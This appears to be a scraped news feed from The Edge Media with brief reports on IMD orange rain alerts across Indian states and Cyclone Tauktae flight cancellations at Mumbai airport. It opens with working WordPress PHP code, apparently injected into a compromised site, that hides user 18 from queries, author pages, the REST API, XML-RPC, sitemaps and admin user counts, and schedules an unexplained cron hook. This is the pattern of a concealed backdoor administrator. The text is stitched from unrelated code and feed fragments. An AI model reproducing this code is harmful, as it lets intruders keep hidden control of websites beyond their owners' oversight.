add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mumbai Receives Orange Alert For The Next 3 Days appeared first on The Edge Media.
]]>The IMD forecasts overcast skies with medium rain/thundershowers throughout the urban core. There is also a chance of heavy to very heavy rain in remote areas.
Earlier, forecasters expected that rainfall would begin on Saturday, but this has been delayed owing to the creation of an east-west shear zone (an region packed with conflicting winds) over the north Konkan coast.
The post Mumbai Receives Orange Alert For The Next 3 Days appeared first on The Edge Media.
]]>The post IMD Warns Heavy Rainfall in Karnataka, Orange Alert At Coastal Areas appeared first on The Edge Media.
]]>Patil claimed that on Sunday there were extensive showers on the coastline of Karnataka and the southern interior of Karnataka.
“There is a broad risk of rainfall throughout the whole of Karnataka from 13 to 17 June. The rains are expected to be high or very severe from 13 to 17 June in Uttar Kannada, Udupi, Dakshin Kannada. The orange alert will be reported from 13 to 17 June “Patil said.
The post IMD Warns Heavy Rainfall in Karnataka, Orange Alert At Coastal Areas appeared first on The Edge Media.
]]>The post IMD issues orange alert for six districts of Madhya Pradesh. appeared first on The Edge Media.
]]>All three alerts remain valid till Sunday morning.
Senior meteorologist at the India Meteorological Department (IMD) in Bhopal PK Saha said though southwest monsoon did not spread (advance) on Saturday in Madhya Pradesh, it is going to advance in the state in the next 24 hours.
Southwest monsoon had covered entire Jabalpur and Hoshangabad divisions, large parts of Indore and Shahdol divisions and some parts of Bhopal and Sagar divisions on Friday, a day after its onset in some parts of MP, the senior officer said.
Large parts of Madhya Pradesh received rains in the last 24 hours, Saha said, adding Devri in Sagar district in eastern MP and Nasrullahganj at Sehore district in western MP recorded 113 mm and 106 mm rainfall, respectively in the last 24 hours ending 8.30 am on Saturday.
The post IMD issues orange alert for six districts of Madhya Pradesh. appeared first on The Edge Media.
]]>The post ‘Orange’ alert issued in Delhi for heavy rain appeared first on The Edge Media.
]]>The IMD has also predicted water eruption in various areas which will cause major traffic disruption. Delhi and the neighbouring areas have received a moderate rainfall today. According to the weather office, the rainfall is most likely to decrease on Thursday.
The highest temperature in the moved to a bit more than 30 degrees celsius because of the wind and the rainfall. This is the lowest temperature recorded in the month of May since the last four years.
heavy to very heavy rainfall at isolated places over northwest Uttar Pradesh; and heavy rainfall at isolated places over Himachal Pradesh Haryana, Chandigarh & Delhi, rest parts of Uttar Pradesh, northeast Rajasthan and north Madhya Pradesh on 19 May, 2021.
— India Meteorological Department (@Indiametdept) May 19, 2021
The post ‘Orange’ alert issued in Delhi for heavy rain appeared first on The Edge Media.
]]>The post Mumbai Airport cancels 22 flights due to Cyclone Tauktae appeared first on The Edge Media.
]]>Mumbai International Airport Limited (MIAL) said in a statement,”The airport has so far witnessed 7 diversions. In the wake of the alert, a few airlines have decided to cancel services to Mumbai. CSMIA has registered the cancellations of 34 arrivals and 22 departure flights”.
The Indian Meteorological Department has earlier issued an orange alert for Mumbai due to the prediction of heavy to very heavy rainfall.
A number of 12 Air India flights were operated till 11 am on Monday. However, the airline later cancelled its five deoartures.
The post Mumbai Airport cancels 22 flights due to Cyclone Tauktae appeared first on The Edge Media.
]]>